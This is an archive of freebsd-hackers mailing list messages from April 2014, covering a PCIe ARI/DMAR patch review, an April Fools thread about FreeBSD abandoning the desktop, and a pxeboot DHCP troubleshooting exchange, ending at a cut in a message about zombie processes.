(8.14.8/8.14.8/Submit) id s31BcE61005665; Tue, 1 Apr 2014 14:38:14 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Tue, 1 Apr 2014 14:38:14 +0300 From: Konstantin Belousov To: Ryan Stone Subject: Re: [PATCH] Support PCIe Alternative RID Interpretation (ARI) Message-ID: <20140401113814.GL21331@kib.kiev.ua> References: <20140319140236.GM21331@kib.kiev.ua> <20140325211355.GG21331@kib.kiev.ua> <20140328133529.GV21331@kib.kiev.ua> <20140330142918.GF21331@kib.kiev.ua> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="ensexbfp9Ul6anXl" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Apr 2014 11:38:20 -0000 --ensexbfp9Ul6anXl Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sun, Mar 30, 2014 at 03:43:23PM -0400, Ryan Stone wrote: > On Sun, Mar 30, 2014 at 10:29 AM, Konstantin Belousov > wrote: > >> http://people.freebsd.org/~rstone/patches/ari/0002-Re-implement-the-DM= AR-I-O-MMU-code-in-terms-of-PCI-R.patch > > > > I like this patch. > > > > One, trivial note, you do not need () there: > > + ctxp +=3D (ctx->rid & 0xff); > > >=20 > Done. >=20 > Unfortunately I had to re-write it a bit to account for the changes in > r263306. Mostly it was trivial, but there's one thing that I wasn't > sure how best to handle. busdma_dmar.c currently calls > dmar_bus_dma_is_dev_disabled with the bus/slot/function provided by > dmar_get_requestor. That no longer works now that I've made the code > be based on RIDs. What the patch currently does is use the > bus/slot/function from the requester device. I think that's a little > cleaner anyway because in one case the current code fakes up a slot > and function. Using those values in the UI for forcing DMAR off for a > device feels wrong to me (and difficult to document). However, my > behaviour of forcing users to manually walk up the PCI tree to find > the PCIe-PCI bridge is not really all that much better. If you have > ideas here please let me know. I think that the current behaviour is just a bug, and your change is for better. When you need to disable specific device from using non-identity mapping, it means that you are already very much down the hole. The VT-d busdma is not enabled by default, only people who experimenting with it are potentially affected, so I see no problem. >=20 > The current version of the patch is in the same location. Fine with me. --ensexbfp9Ul6anXl Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTOqUlAAoJEJDCuSvBvK1BgE4P/AxIYvlSfSf2yfG5ndC/EukB 6HaBDbqlUqNbK35QVWxxYk9nuWHryxygeNvJGtyTh1V1d+bOXWzfAoqV5TwBs0u9 aj+MpwXbaluuPbECyw3QxPOaYoh2aM2ejaWyZvIJBG8RycVrNNhesFvb+rHovA8V jMHPTXVVZOsHRGyfNOFftfTd6rR9t1hCHDLrlPoAAkeBXJBsllTO6DmqagLIfqVt tqfor7kL7mXQqxPynjGJC9bPlr58xoCIWcJNVS9w5Gfcm+6FEbvKlzETWaHXt2Sr e7QboO1T+H4NpN52bZ+6YaZ1KZsvlqWOq3V6sMDOBzBJpGBAYd352Gaf8Jfv4BCR pexEO+inqN2mAoeJnMB5EZaOm5byYZ5ZDM2mK8CREzih6tN43AxBa9Ulqu/r8Zz+ XszU7T5fCDj3xBtPcLs1a0IBFLXWJuwOjyLULka7TyHW2kC4AZGz81gmGVqArA8l Do241GBDtBSbTbQ4BBJvqOGj9AkY7LRqShC8NDNAqCgjZkGsyDu8ZJFAg+idbsL0 laKtovJ1kXzsQUBD0Y+QeszHpoXPxdUyORiJFxFxs7x3+j4cW0gsPEdeWZotY1rJ ptDv6SSwIVObzJqv68lmvgU3htjGRH51iF8uEGruk0L72FXG2cLsSXqltfQKUS7l 6AAlWuNP3fOGpTBYoKyg =0phw -----END PGP SIGNATURE----- --ensexbfp9Ul6anXl-- From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 1 09:40:49 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 97E1892A; Tue, 1 Apr 2014 09:40:49 +0000 (UTC) Received: from mail.0x20.net (mail.0x20.net [217.69.76.211]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 00242A33; Tue, 1 Apr 2014 09:40:48 +0000 (UTC) Received: from e-new.0x20.net (mail.0x20.net [IPv6:2001:aa8:fffb:1::3]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by mail.0x20.net (Postfix) with ESMTPS id 9602A6A6007; Tue, 1 Apr 2014 11:40:45 +0200 (CEST) Received: from e-new.0x20.net (localhost [127.0.0.1]) by e-new.0x20.net (8.14.7/8.14.7) with ESMTP id s319ejnY010298; Tue, 1 Apr 2014 11:40:45 +0200 (CEST) (envelope-from lars@e-new.0x20.net) Received: (from lars@localhost) by e-new.0x20.net (8.14.7/8.14.7/Submit) id s319eiax009439; Tue, 1 Apr 2014 11:40:44 +0200 (CEST) (envelope-from lars) Date: Tue, 1 Apr 2014 11:40:44 +0200 From: Lars Engels To: Jordan Hubbard Subject: Re: Leaving the Desktop Market Message-ID: <20140401094044.GX44074@e-new.0x20.net> References: MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="yKmnPmKxJBqIz68t" Content-Disposition: inline In-Reply-To: X-Editor: VIM - Vi IMproved 7.4 X-Operation-System: FreeBSD 8.4-RELEASE-p4 User-Agent: Mutt/1.5.23 (2014-03-12) X-Mailman-Approved-At: Tue, 01 Apr 2014 11:54:15 +0000 Cc: Eitan Adler , hackers@freebsd.org, current@freebsd.org, freebsd-advocacy@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Apr 2014 09:40:49 -0000 --yKmnPmKxJBqIz68t Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Apr 01, 2014 at 12:11:19PM +0500, Jordan Hubbard wrote: >=20 > On Apr 1, 2014, at 10:46 AM, Eitan Adler wrote: >=20 > > That is why on this date I propose that we cease competing on the > > desktop market. FreeBSD should declare 2014 to be "year of the Linux > > desktop" and start to rip out the pieces of the OS not needed for > > server or embedded use. > >=20 > > Some of you may point to PCBSD and say that we have a chance, but I > > must ask you: how does one flavor stand up to the thousands in the > > Linux world? >=20 > The fact that this posting comes out on April 1st makes me wonder if > it=E2=80=99s just an elaborate April Fool=E2=80=99s joke, but then the no= tion of *BSD > (or Linux, for that matter) on the Desktop is just another > long-running April fool=E2=80=99s joke, so I=E2=80=99m willing to postula= te that two > April Fools jokes would simply cancel each other out and make this > posting a serious one again. :-) >=20 > I=E2=80=99ll choose to be serious and say what I=E2=80=99m about to say i= n spite of > the fact that I work for the primary sponsor of PC-BSD and actually > like the fact that it has created some interesting technologies like > PBIs, the Jail Warden, Life-preserver and a ZFS boot environment menu. >=20 > There is no such thing as a desktop market for *BSD or Linux. There > never has been and there never will be. Why do you think we chose > =E2=80=9Cthe power to serve=E2=80=9D as FreeBSD=E2=80=99s first marketing= slogan? It makes a > fine server OS and it=E2=80=99s easy to defend its role in the server roo= m. > It=E2=80=99s also becoming easier to defend its role as an embedded OS, w= hich > is another excellent niche to pursue and I am happy to see all the > recent developments there. >=20 > A desktop? Unless you consider Mac OS X to be =E2=80=9CBSD on the deskto= p=E2=80=9D > (and while they share some common technologies, it=E2=80=99s increasingly= a > stretch to say that), it=E2=80=99s just never going to happen for (at lea= st) > the following reasons: >=20 > 1. Power. As you point out, being truly power efficient is a complete > top-to-bottom engineering effort and it takes a lot more than just > trying to idle the processor whenever possible to achieve that. You > need to optimize all of the hot-spot routines in the system for power > efficiency (which actually involves a fair amount of micro > architecture knowledge), you need a kernel scheduler that is power > management aware, you need a process management system that runs as > few things as possible and knows how to schedule things during package > wake-up intervals, you need timers to be coalesced at the level where > applications consume them, the list just goes on and on. It=E2=80=99s a = lot > of engineering work, and to drive that work you also need a lot of > telemetry data and people with big sticks running around hitting > people who write power-inefficient code. FreeBSD has neither. >=20 > 2. Multimedia. A real end-user=E2=80=99s desktop is basically one big UI= for > watching things, listening to things, and running apps. A decent > audio / video subsystem is just one part of the picture, and one that > has always been really weak - entire engineering teams can spend years > working on codecs, performance optimizations, low and guaranteed > latency support for audio I/O, etc. What=E2=80=99s worse, the bar is only > being raised. You want to be part of the next wave of folks who can > author and edit content for the new 4K video standard? Not on FreeBSD > or Linux, you=E2=80=99re not. >=20 > 3. Applications. A desktop without real and useful applications is > not a desktop, it=E2=80=99s just an empty display surface. Sure, there a= re > users out there who are happy with just a mail client, a web browser > and maybe a calendaring app, but those users are also arguably even > better candidates for Chrome or other simplified environments where > all of that simply happens in a fancy web browser and you get things > like =E2=80=9Csoftware updates=E2=80=9D and cloud integration essentially= for free > since it=E2=80=99s all just one cohesive picture there. The ability to s= olve > those user=E2=80=99s needs very simply makes them ripe targets for the web > application delivery platforms. >=20 > For the other folks who want to do fancier stuff like mix audio, edit > videos or even just play mainstream 3D games that were actually > published sometime in the last year, they=E2=80=99ll use a real desktop O= S and > won't even bother looking at one of the free ones because guess what, > the free ones just can=E2=80=99t do those things, or do them badly enough= that > their users feel like they=E2=80=99re perpetually living in a kind of > self-selected ghetto. Metaphorically speaking, sleeping on the floor > in a sleeping bag in your one-room apartment is fine when you=E2=80=99re > young, but as you get older, you want to be more comfortable and have > a real bed in a real house! >=20 > Those are just three reasons. There are lots more, not least of which > among them is the fact that it=E2=80=99s damn hard even just to *create* > significant applications with the weak-ass APIs that *BSD and Linux > provide. You have to stitch together some Frankenstein collection of > libraries out of ports (or linux packages) and then hope the whole > pile of multi-=E2=80=9Cvendor" bits will sort of work together, which of > course they rarely do because they were written by several hundred > different people with no mandate to interoperate. >=20 > April fool=E2=80=99s joke? Yes, the desktop has always been one in the O= SS > space. It=E2=80=99s a lousy OSS problem to try and solve because all the > hardest parts are things nobody wants to do for free, and there=E2=80=99s= no > money to be made just providing the OS (even Ubuntu, the current > leader, seems to have =E2=80=9Cpledge drives=E2=80=9D every other week). >=20 > - Jordan I'm a happy FreeBSD desktop user since 4.7. There are some edges, but I really like that I can can create a desktop the way _I_ want it and my mail client even allows me to break lines at 80 chars. Eat that, Apple Mail! ;-) --yKmnPmKxJBqIz68t Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iKYEARECAGYFAlM6iZxfFIAAAAAALgAoaXNzdWVyLWZwckBub3RhdGlvbnMub3Bl bnBncC5maWZ0aGhvcnNlbWFuLm5ldDE3RkMwOEUxNUUwOUJEMjE0ODlFMjA1MDI5 Q0U3NURBQzBGNzY5RjgACgkQKc512sD3afhPMQCdFCh7dzFdsZkqmKiWPl4uAh/Q r60AoL+0TOUnX5i+jRw0fFdggmsgaTog =s2T1 -----END PGP SIGNATURE----- --yKmnPmKxJBqIz68t-- From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 1 10:49:43 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 7FDEFE9A; Tue, 1 Apr 2014 10:49:43 +0000 (UTC) Received: from forward-corp1e.mail.yandex.net (forward-corp1e.mail.yandex.net [IPv6:2a02:6b8:0:202::10]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "forwards.mail.yandex.net", Issuer "Certum Level IV CA" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 257C175; Tue, 1 Apr 2014 10:49:43 +0000 (UTC) Received: from smtpcorp4.mail.yandex.net (smtpcorp4.mail.yandex.net [95.108.252.2]) by forward-corp1e.mail.yandex.net (Yandex) with ESMTP id BE6B56401C4; Tue, 1 Apr 2014 14:49:38 +0400 (MSK) Received: from smtpcorp4.mail.yandex.net (localhost [127.0.0.1]) by smtpcorp4.mail.yandex.net (Yandex) with ESMTP id 8B9422C0746; Tue, 1 Apr 2014 14:49:38 +0400 (MSK) Received: from unknown (unknown [2a02:6b8:0:401:222:4dff:fe50:cd2f]) by smtpcorp4.mail.yandex.net (nwsmtp/Yandex) with ESMTPSA id 6mJnprW06h-nceuTG5o; Tue, 1 Apr 2014 14:49:38 +0400 (using TLSv1 with cipher CAMELLIA256-SHA (256/256 bits)) (Client certificate not present) X-Yandex-Uniq: 41ee9ee3-f52e-4753-9d0e-134ecd360ff2 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yandex-team.ru; s=default; t=1396349378; bh=mC3Q8ZfFkQGTCkc7Fbv172NfCZYHHc2TRcRCmLDty+I=; h=Message-ID:Date:From:User-Agent:MIME-Version:To:CC:Subject: References:In-Reply-To:Content-Type:Content-Transfer-Encoding; b=z+xjTcleLXGbbeet3FcQdH+XgWkJzIhkZZRjO4r5gNE4F4y+NlbJ7sCbVm5ED0dyd 2X8EZ7j8pkbrXM4v5cmvm8nuGxk8eenZWOO8mAPh81xymjHpDKII/wqD1nWzrQ7V65 AKmqcSrkgcSPfgp3TykzgpEkNeyBj3MmDfQ3gg1I= Authentication-Results: smtpcorp4.mail.yandex.net; dkim=pass header.i=@yandex-team.ru Message-ID: <533A99BD.2060200@yandex-team.ru> Date: Tue, 01 Apr 2014 14:49:33 +0400 From: "Alexander V. Chernikov" User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.0.1 MIME-Version: 1.0 To: amine tay , dteske@freebsd.org Subject: Re: Pxeboot stops References: <1396270576.1346.3.camel@powernoodle.corp.yahoo.com> <067401cf4cff$59409590$0bc1c0b0$@FreeBSD.org> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Mailman-Approved-At: Tue, 01 Apr 2014 11:54:38 +0000 Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Apr 2014 10:49:43 -0000 On 01.04.2014 12:42, amine tay wrote: > already did that, but no changes. > It seams like the console it's not the source of the problem ! > Normally the pxeboot should try to load the kernel using NFS, I checked and > all my services are working fine. > It's a little bit hard because there is no logs to see what's the problem ! > > > 2014-03-31 18:36 GMT+02:00 : > >> >>> -----Original Message----- >>> From: Sean Bruno [mailto:sbruno@ignoranthack.me] >>> Sent: Monday, March 31, 2014 5:56 AM >>> To: amine tay >>> Cc: freebsd-hackers@freebsd.org >>> Subject: Re: Pxeboot stops >>> >>> On Mon, 2014-03-31 at 14:08 +0200, amine tay wrote: >>>> Hi every one, >>>> When i'm trying to pxe boot FreeBSD 9.1, the pxeboot display the lines >>> bellow : >>>> Building the boot loader arguments >>>> Looking up /BOOT/LOADER... Found >>>> Relocating the loader and the BTX >>>> Starting the BTX loader >>>> >>>> BTX loader 1.00 BTX version is 1.02 >>>> Consoles: internal video/keyboard >>>> BIOS CD is cd0 >>>> BIOS drive C: is disk0 >>>> BIOS drive D: is disk1 >>>> BIOS 636kB/261056kB available memory >>>> >>>> FreeBSD/i386 bootstrap loader, Revision 1.1 >>>> >>>> But it stops here and I'm not getting the : >>>> >>>> pxe open : server addr Can you obtain tcpdump from given host? There is a problem related to pxeboot & DHCP interaction in current code: pxeboot uses DHCP to obtain various dhcp options, but ignores IPv4 address being assigned by dhcp. Usually it is the same address as NIC pxe client obtains, but sometimes it is different which causes problems like this. >>>> >>>> or >>>> Loading /boot/defaults/loader.conf >>>> /boot/kernel/kernel text=0x64daa0 data=0xa4e80+0xa9e40 >>>> syms=[0x4+0x6cac0+0x4+0x88e9d] \ >>> It looks like its switching consoles on you. Is this the video or serial >> console >>> you have captured from? >>> >>> If its the serial console, then I suspect you need to setup the >> loader.conf with >>> a comconsole entry. >>> >> E.g., console="vidconsole,comconsole" >> >> NB: Enables both video and serial instead of one or the other. >> -- >> Devin >> >> _____________ >> The information contained in this message is proprietary and/or >> confidential. If you are not the intended recipient, please: (i) delete the >> message and all copies; (ii) do not disclose, distribute or use the message >> in any manner; and (iii) notify the sender immediately. In addition, please >> be aware that any message addressed to our domain is subject to archiving >> and review by persons other than the intended recipient. Thank you. >> > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 1 12:07:42 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3597A7F2; Tue, 1 Apr 2014 12:07:42 +0000 (UTC) Received: from mrout3.yahoo.com (mrout3.yahoo.com [216.145.54.173]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 0058D9B4; Tue, 1 Apr 2014 12:07:41 +0000 (UTC) Received: from [127.0.0.1] (proxy7.corp.yahoo.com [216.145.48.98]) by mrout3.yahoo.com (8.14.4/8.14.4/y.out) with ESMTP id s31BvACX080264 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Tue, 1 Apr 2014 04:57:10 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=yahoo-inc.com; s=cobra; t=1396353431; bh=VvBJnwGXg8AwxpSbhED9xA7cXAafgzMQ5wokxoQQvqg=; h=Subject:From:To:Cc:In-Reply-To:References:Date; b=AKIkUPYW/Gyfy7ByQuQWjtAHnjMRsML4B6cmjejsrcvCZGr2X8ybS7jon2H2vv1Jg 3cAl1XXO945TePPgwRypbGLdrD6Cq4mc2U/H0BlAfUtMmJNNqMH+xXtRA5nONLotsS yFn+uA1HjF4Fze4hmVH66ersMyIP6KSxpjTprLgs= Subject: Re: Leaving the Desktop Market From: Sean Bruno To: Eitan Adler In-Reply-To: References: Content-Type: text/plain; charset="UTF-8" Date: Tue, 01 Apr 2014 04:57:09 -0700 Message-ID: <1396353429.56465.7.camel@powernoodle.corp.yahoo.com> Mime-Version: 1.0 X-Mailer: Evolution 2.32.1 FreeBSD GNOME Team Port Content-Transfer-Encoding: 8bit X-Milter-Version: master.31+4-gbc07cd5+ X-CLX-ID: 353430004 Cc: freebsd-advocacy@freebsd.org, hackers@freebsd.org, current@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Apr 2014 12:07:42 -0000 On Mon, 2014-03-31 at 22:46 -0700, Eitan Adler wrote: > Hi all, > > Some of you may have seen my posts entitled "Story of a Laptop User" > and "Story of a Desktop User". For those of you who did not, it can > be a worthwhile read to see what life is like when using FreeBSD as a > desktop. In short, it is an educational experience. While FreeBSD > can be coerced to do the right thing, it is rarely there by default > and often doesn't work as well as we would expect. > > The following are issues I haven't brought up in the past: > > Battery life sucks: it’s almost as if powerd wasn't running. Windows > can run for five hours on my laptop while FreeBSD can barely make it > two hours. I wonder what the key differences are? Likely it’s that > we focus so much on performance that no one considers power. ChromeOS > can run for 12 hours on some hardware; why can't we make FreeBSD run > for 16? > > Sound configuration lacks key documentation: how can I automatically > change between headphones and external speakers? You can't even do > that in middle of a song at all! Trust me that you never want to be > staring at an HDA pin configuration. I'll bet you couldn't even get > sound streaming to other machines working if you tried. > > FreeBSD lacks vendor credibility: CUDA is unsupported. Dropbox hasn't > released a client for FreeBSD. Nvidia Optimus doesn't function on > FreeBSD. Can you imagine telling someone to purchase a laptop with > the caveat: "but you won't be able to use your graphics card"? > > In any case, half of our desktop support is emulation: flash and opera > only works because of the linuxulator. There really isn't any reason > for vendors to bother supporting FreeBSD if we are just going to ape > Linux anyways. > > That is why on this date I propose that we cease competing on the > desktop market. FreeBSD should declare 2014 to be "year of the Linux > desktop" and start to rip out the pieces of the OS not needed for > server or embedded use. > > Some of you may point to PCBSD and say that we have a chance, but I > must ask you: how does one flavor stand up to the thousands in the > Linux world? > Why even bother? Its over, just embrace the future and be like this happy Mac user: http://people.freebsd.org/~sbruno/happy_desktop_user.jpg sean From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 1 12:52:07 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 615D15E9; Tue, 1 Apr 2014 12:52:07 +0000 (UTC) Received: from mail-pd0-x231.google.com (mail-pd0-x231.google.com [IPv6:2607:f8b0:400e:c02::231]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 30618E25; Tue, 1 Apr 2014 12:52:07 +0000 (UTC) Received: by mail-pd0-f177.google.com with SMTP id y10so9482847pdj.22 for ; Tue, 01 Apr 2014 05:52:06 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=WXGl2Ad/zCSCoY4oFKhc10IfBWx/LFYjY3i2EaBCeEA=; b=Swxm6Dp+CxdeDuDSXKzykZX676EDA2B6Ks7Es8ElfEqCP8PVnPs+BVCZpR+Qnek4Ik cHdktP5UIxEPSBgDMPYSw2sm9TGeIbAv0eAVTa/wrI4Zm8hfKegUz4b1NNDBg1KhTxg3 Y2LiA+lnICIy83Bfk4idbyML2EMN2hWkHqNWqG7CUvePOajxSJnUK+D1YBiuYfV0Q5fr 6yg6VNxU/t3FcImfwq4GOhv1Mxi6dq3zVdAuLU5DDDdMzb2RvfWHh3N+sv27JEYmH7qO MsbsPxlbLCLemFwPgHWDKgZo0ZFiAYS9XdjAxrynLeucadXkpRsxCnBgK5xIHkuWK7u2 IVbA== MIME-Version: 1.0 X-Received: by 10.68.221.42 with SMTP id qb10mr31109010pbc.65.1396356726794; Tue, 01 Apr 2014 05:52:06 -0700 (PDT) Received: by 10.70.89.33 with HTTP; Tue, 1 Apr 2014 05:52:06 -0700 (PDT) In-Reply-To: <533A99BD.2060200@yandex-team.ru> References: <1396270576.1346.3.camel@powernoodle.corp.yahoo.com> <067401cf4cff$59409590$0bc1c0b0$@FreeBSD.org> <533A99BD.2060200@yandex-team.ru> Date: Tue, 1 Apr 2014 14:52:06 +0200 Message-ID: Subject: Re: Pxeboot stops From: amine tay To: "Alexander V. Chernikov" Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: freebsd-hackers@freebsd.org, dteske@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Apr 2014 12:52:07 -0000 When I do a tcpdump and this is what I get: 14:45:33.983412 IP X.X.X.10.bootpc > 255.255.255.255.bootps: BOOTP/DHCP, Request from XX:XX:XX:XX:XX:XX (oui Unknown), length 548 14:45:33.984182 IP ...........fr.bootps > X.X.X.15.bootpc: BOOTP/DHCP, Reply, length 342 The IPv4 address of my client is X.X.X.15 and the address of the host is X.X.X.1 2014-04-01 12:49 GMT+02:00 Alexander V. Chernikov : > On 01.04.2014 12:42, amine tay wrote: > >> already did that, but no changes. >> It seams like the console it's not the source of the problem ! >> Normally the pxeboot should try to load the kernel using NFS, I checked >> and >> all my services are working fine. >> It's a little bit hard because there is no logs to see what's the problem >> ! >> >> >> 2014-03-31 18:36 GMT+02:00 : >> >> >>> -----Original Message----- >>>> From: Sean Bruno [mailto:sbruno@ignoranthack.me] >>>> Sent: Monday, March 31, 2014 5:56 AM >>>> To: amine tay >>>> Cc: freebsd-hackers@freebsd.org >>>> Subject: Re: Pxeboot stops >>>> >>>> On Mon, 2014-03-31 at 14:08 +0200, amine tay wrote: >>>> >>>>> Hi every one, >>>>> When i'm trying to pxe boot FreeBSD 9.1, the pxeboot display the lines >>>>> >>>> bellow : >>>> >>>>> Building the boot loader arguments >>>>> Looking up /BOOT/LOADER... Found >>>>> Relocating the loader and the BTX >>>>> Starting the BTX loader >>>>> >>>>> BTX loader 1.00 BTX version is 1.02 >>>>> Consoles: internal video/keyboard >>>>> BIOS CD is cd0 >>>>> BIOS drive C: is disk0 >>>>> BIOS drive D: is disk1 >>>>> BIOS 636kB/261056kB available memory >>>>> >>>>> FreeBSD/i386 bootstrap loader, Revision 1.1 >>>>> >>>>> But it stops here and I'm not getting the : >>>>> >>>>> pxe open : server addr >>>>> >>>> Can you obtain tcpdump from given host? > There is a problem related to pxeboot & DHCP interaction in current code: > > pxeboot uses DHCP to obtain various dhcp options, but ignores IPv4 address > being assigned by dhcp. > Usually it is the same address as NIC pxe client obtains, but sometimes it > is different which causes problems like this. > > >>>>> or >>>>> Loading /boot/defaults/loader.conf >>>>> /boot/kernel/kernel text=0x64daa0 data=0xa4e80+0xa9e40 >>>>> syms=[0x4+0x6cac0+0x4+0x88e9d] \ >>>>> >>>> It looks like its switching consoles on you. Is this the video or >>>> serial >>>> >>> console >>> >>>> you have captured from? >>>> >>>> If its the serial console, then I suspect you need to setup the >>>> >>> loader.conf with >>> >>>> a comconsole entry. >>>> >>>> E.g., console="vidconsole,comconsole" >>> >>> NB: Enables both video and serial instead of one or the other. >>> -- >>> Devin >>> >>> _____________ >>> The information contained in this message is proprietary and/or >>> confidential. If you are not the intended recipient, please: (i) delete >>> the >>> message and all copies; (ii) do not disclose, distribute or use the >>> message >>> in any manner; and (iii) notify the sender immediately. In addition, >>> please >>> be aware that any message addressed to our domain is subject to archiving >>> and review by persons other than the intended recipient. Thank you. >>> >>> _______________________________________________ >> freebsd-hackers@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >> To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org >> " >> >> > From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 1 13:57:13 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8483373F; Tue, 1 Apr 2014 13:57:13 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 5B30A6E5; Tue, 1 Apr 2014 13:57:13 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id EBB46B918; Tue, 1 Apr 2014 09:57:11 -0400 (EDT) From: John Baldwin To: freebsd-hackers@freebsd.org Subject: Re: Process handlers, and zombies, or preap(1) Date: Tue, 1 Apr 2014 09:41:33 -0400 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20130906; KDE/4.5.5; amd64; ; ) References: <26dbb84bafaf0114cb75c3fbe060d412.authenticated@ultimatedns.net> In-Reply-To: <26dbb84bafaf0114cb75c3fbe060d412.authenticated@ultimatedns.net> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <201404010941.33741.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Tue, 01 Apr 2014 09:57:12 -0400 (EDT) Cc: freebsd-hackers , freebsd-stable , Chris H X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Apr 2014 13:57:13 -0000 On Monday, March 31, 2014 4:06:43 pm Chris H wrote: > Greetings, > I'm evaluating/experimenting on releng_9. The install, and now > 